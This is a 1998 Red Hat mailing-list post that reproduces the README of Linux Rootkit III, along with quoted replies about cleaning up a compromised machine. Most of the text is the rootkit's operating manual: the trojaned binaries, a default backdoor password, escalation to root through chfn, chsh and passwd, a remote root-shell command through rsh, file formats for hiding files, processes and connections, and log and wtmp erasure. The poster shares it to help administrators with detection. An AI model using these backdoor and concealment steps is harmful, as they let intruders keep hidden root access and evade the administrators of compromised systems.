[95151] in RedHat Linux List
Re: port 111
daemon@ATHENA.MIT.EDU (Michael Ghens)
Thu Oct 15 14:12:30 1998
Date: Thu, 15 Oct 1998 11:11:26 -0700 (PDT)
From: Michael Ghens <michael@spconnect.com>
To: redhat-list@redhat.com
In-Reply-To: <3.0.5.32.19981015105105.009da210@dreamwvr.com>
Resent-From: redhat-list@redhat.com
Reply-To: redhat-list@redhat.com
These are the directions to the rootkit 3.0 for linux. It is good
informaton for security types since it gives you an idea what to look for.
The good news is there has to be a root compromise in the first place.
Cybernetik proudly presents...
_ _ ____ _ _ _ _ ___ ___ ___
| | (_)_ __ _ ___ __ | _ \ ___ ___ | |_| | _(_) |_ |_ _|_ _|_ _|
| | | | '_ \| | | \ \/ / | |_) / _ \ / _ \| __| |/ / | __| | | | | | |
| |___| | | | | |_| |> < | _ < (_) | (_) | |_| <| | |_ | | | | | |
|_____|_|_| |_|\__,_/_/\_\ |_| \_\___/ \___/ \__|_|\_\_|\__| |___|___|___|
Released 25/12/96 "Wewp, Wewp! Merry Xmas D00dz!"
UPDATES
3.0 Everything updated with lastest sources for 2.X kernel.
Added shadow support.
Added trojan tcp wrappers.
Removed sniffit and lled.
Improved lots of stuff.
This packages includes the following:
chfn Trojaned! User->r00t
chsh Trojaned! User->r00t
inetd Trojaned! Remote access
login Trojaned! Remote access
ls Trojaned! Hide files
du Trojaned! Hide files
ifconfig Trojaned! Hide sniffing
netstat Trojaned! Hide connections
passwd Trojaned! User->r00t
ps Trojaned! Hide processes
top Trojaned! Hide processes
rshd Trojaned! Remote access
syslogd Trojaned! Hide logs
linsniffer Packet sniffer!
fix File fixer!
z2 Zap2 utmp/wtmp/lastlog eraser!
wted wtmp/utmp editor!
lled lastlog editor!
bindshell port/shell type daemon!
tcpd Trojaned! Hide connections, avoid denies
INSTALLATION
To install this kit in its standard form execute 'make all install'.
To install the shadow kit execute 'make shadow install'.
All of the files/password configuration is in rootkit.h so feel free to
personalise your own version of lrk3 :-) This kit is for linux 2.X kernels
ONLY so don't complain when nothing works on old systems.
USAGE
OK I will go thru how to use each program one by one. NOTE when I say password
I mean the rootkit password not your users password (doh!). By default the
rootkit password is lrkr0x.
chfn - Local user->root. Run chfn then when it asks you for a new name
enter your password.
chsh - Local user->root. Run chsh when it asks you for a new shell
enter your password.
inetd - Don't even *think* about asking ;-) It ain't that hard..
login - Allows login to any account with the rootkit password.
If root login is refused on your terminal login as "rewt".
Disables history logging when backdoor is used.
ls - Trojaned to hide specified files and dirs.
The data file is ROOTKIT_FILES_FILE, defaults to /dev/ptyr.
All files can be listed with 'ls -/' if SHOWFLAG is enabled.
(see rootkit.h)
The format of /dev/ptyr is:
ptyr
hack.dir
w4r3z
ie. just the filenames. This would hide any files/dirs with the
names ptyr, hack.dir and w4r3z.
du - Same as ls, 'cept for du instead :)
ifconfig - Modified to remove PROMISC flag when sniffing.
netstat - Modified to remove tcp/udp/sockets from or to specified
addresses, uids and ports. The file is ROOTKIT_ADDRESS_FILE.
default data file: /dev/ptyq
type 0: hide uid
type 1: hide local address
type 2: hide remote address
type 3: hide local port
type 4: hide remote port
type 5: hide UNIX socket path
example:
0 500 <- Hides all connections by uid 500
1 128.31 <- Hides all local connections from 128.31.X.X
2 128.31.39.20 <- Hides all remote connections to 128.31.39.20
3 8000 <- Hides all local connections from port 8000
4 6667 <- Hides all remote connections to port 6667
5 .term/socket <- Hides all UNIX sockets including the path
.term/socket
passwd - Local user->root. Enter your rootkit password instead of your
old password.
ps - Modified to remove specified processes.
The file used is ROOTKIT_PROCESS_FILE, default to /dev/ptyp.
An example data file is as follows:
0 0 Strips all processes running under root
1 p0 Strips tty p0
2 sniffer Strips all programs with the name sniffer
3 hack Strips all programs with 'hack' in them
ie. proghack1, hack.scan, snhack etc.
Don't put in the comments, obviously. Note: if this doesn't
seem to work make sure there are no spaces after the names,
and don't use the full path name.
top - Identical to ps, 'cept for top instead.
rshd - Execute remote commands as root.
Usage: rsh -l rootkitpassword host command
ie. rsh -l lrkr0x cert.org /bin/sh -i
would start a root shell.
syslogd - Modified to remove specified strings from logging.
The data file is ROOTKIT_LOG_FILE, this defaults to /dev/ptys.
Example data file:
evil.com
123.100.101.202
rshd
This would remove all logs containing the strings evil.com,
123.100.101.202 and rshd.
tcpd - Modified to allow access from your host without any logging.
Any type 1 record in the ROOTKIT_ADDRESS_FILE is used for
tcpd. See netstat for more infoz on this file.
Example data file:
1 123.4.5.6
would set up the tcp wrappers to allow and hide connects from
123.4.5.6.
linsniffer - A kewl packet sniffer. U might like to check out another
sniffer for linux if this doesn't suit ya needs.
(ie. sniffit, pcs, snoofer, whatver). I removed sniffit for
space reasons, if you want it the latest version can be found
at http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
fix - Replaces and fixes timestamp/checksum infomation on files.
New lrk3 version :-)
z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries
for a username. This can be detected since it just nulls the
entry out.
wted - This does lots of stuff. U can view ALL the entries in a wtmp
or utmp type file, erase entries by username or hostname,
view zapped users (admins use a util similar to this to find
erased entries), erase zapped users etc.
OTHER STUFF
Email: cybernetik@nym.alias.net
Finger: cybernetik@nym.alias.net
Im still waiting to see those unreleased exploits, cash and women ;-)
If its important then ENCRYPT IT! My pgp key is:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2i
mQCNAzCG73gAAAEEAMbBS1Oy56dSvCbKBrPYj9Hz6g9c19bEW09H6+EDuYwjtWIP
b393hPkrbQqGje/kVqaip8uzaN70oyME40V36YU5/VN30yhLUA9XKkw3o00PE4Co
nT/mcN8z+dV69y7+M8lXv50J0FyWfcdAjlYz0NAdiLXG1t0pvvs6puG4V+tRAAUR
tCVDeWJlcm5ldGlrIDxjeWJlcm5ldGlrQG55bS5hbGlhcy5uZXQ+
=QJ+X
-----END PGP PUBLIC KEY BLOCK-----
Check out these kewl sites: ftp://ftp.infonexus.com
http://underground.org
http://www.nether.net/~uk
And remember kiddies - stay off the warez.
On Thu, 15 Oct 1998, dreamwvr wrote:
> Date: Thu, 15 Oct 1998 10:51:05 -0600
> From: dreamwvr <dreamwvr@dreamwvr.com>
> Reply-To: redhat-list@redhat.com
> To: redhat-list@redhat.com, redhat-list@redhat.com
> Subject: Re: port 111
> Resent-Date: 15 Oct 1998 16:53:38 -0000
> Resent-From: redhat-list@redhat.com
> Resent-cc: recipient list not shown: ;
>
> hi Chris,
> might want to look @ 'tripwire'
> Regards,
> dreamwvr@dreamwvr.com
> At 12:02 AM 10/16/98 +1100, Chris Fishwick wrote:
> >> I think this guy has installed some kind of root-kit on his
> >> machine. Does anyone know of such root-kit, how they work, how to fix
> >> the damage and how to prevent being hacked throw that port?
> >
> >I got hacked by Linux RootKit III a few months ago.. the way I 'cleaned
> >up' was to check the date stamp on a file I knew was modified, then grep
> >the entire directory tree for that date stamp and check any file that was
> >listed... I guess this is not the best way to do it, but it fixed the
> >problem until I had time to re-install the machine and close the security
> >holes properly...
> >
> >Regards
> >
> >Chris
> >
> >
> >--
> > PLEASE read the Red Hat FAQ, Tips, Errata and the MAILING LIST ARCHIVES!
> > http://www.redhat.com http://archive.redhat.com
> > To unsubscribe: mail redhat-list-request@redhat.com with
> > "unsubscribe" as the Subject.
> >
> >
> Reuters, London, February 29, 1998:
> Scientists have announced discovering a meteorite which will strike the
> earth in March, 2028. Millions of UNIX coders expressed relief for being
> spared the UNIX epoch "crisis" of 2038.
> _______________________________________________________________________
>
> DREAMWVR.COM - TOTAL WEB INTEGRATION, DEVELOPMENT, DESIGN SERVICES.
> Featuring Website Development and Web Strategies of a TOP Developer
> <http://www.dreamwvr.com/dynamicduo.html> <mailto:dreamwvr@dreamwvr.com>
> "As Unique as the Company You Keep." "===0 PGP Key Available
> ________________________________________________________________________
>
>
>
>
> --
> PLEASE read the Red Hat FAQ, Tips, Errata and the MAILING LIST ARCHIVES!
> http://www.redhat.com http://archive.redhat.com
> To unsubscribe: mail redhat-list-request@redhat.com with
> "unsubscribe" as the Subject.
>
--
PLEASE read the Red Hat FAQ, Tips, Errata and the MAILING LIST ARCHIVES!
http://www.redhat.com http://archive.redhat.com
To unsubscribe: mail redhat-list-request@redhat.com with
"unsubscribe" as the Subject.
